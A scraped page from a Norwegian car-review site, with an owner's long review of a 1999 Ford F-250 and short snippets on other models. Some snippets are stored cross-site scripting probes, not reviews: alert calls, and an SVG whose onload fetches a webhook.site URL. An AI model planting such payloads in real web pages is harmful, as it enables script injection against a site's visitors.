1999 Ford F-250 4X4 Super Cab Pickup 8
Vurdert av Jarlen
Bil-lastebilen er eid i 11 år ble kjøpt på km stand ca. 100 tusen og har passert 254 tusen km. Har også angret i flere år å ha kjøpt bilen , men det er ingen som trekker en 3,5 tonns tilhenger bedre enn med 240 hk 7,3 liter diesel motor. Å har brukt ca. 500 tusen kr i drifts , vedlikehold og reparasjons kostnader , trekkes opp mot å ha en dyrere bil , som har større verditap , som heller ikke er gratis å eie. Dyreste enkelt regning 167000 kr inkl mva. Nye krommede stigtrinn ca. 30 tusen kr + ca. 40 tusen kr på klimaanlegg. Skifte av bakfjærer. Skifte av begge hjullager foran og nye bremser rundt om. Skifte av alle oljer.
Flere vurderinger fra samme modell
Ford F-250 (2004)
2004 200.000 6.0 PS Byttet radiator. Topp bil å kjøre, drar godt uansett hvor mye du putter på eller bak den! Ingen comfort-vogn. Bruker faktisk mindre enn Hilux med 3.0. Baksetene bør kun brukes
Flere vurderinger
Volvo XC40 (2024)
Veldig fornøyd med bil, komfort og spesielt støy som er lavere enn de fleste biler i denne klasse/ pris. Ingen problemer med bilen!
Skoda Enyaq (2025)
Brukt som drosje, har per nå 75000km. Veldig stor oppgradering å få batterivarme. Regenerativ bremsing anbefales ikke på vinterføre. Får minus på forbruk da bilen gir meg 270-330km på kaldeste
Volvo EX30 (2025)
Mekanisk fin bil men med et makkverk av software som er full av feil. Se Volvo ex30 forum for tidenes lengste og gjentakende feil rapporter. Volvo ser ikke ut til å være interessert å ordne opp des
Skoda Enyaq (2023)
Syns utseende å bilen er tøff, ellers kan jeg ikke sa hva den skal være bedre på enn sine konkurrenter. Sitte stillingen passer meg dårlig, men fruen liker det. Pluss at den har soltak Elendi
Mazda CX-5 (2013)
Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
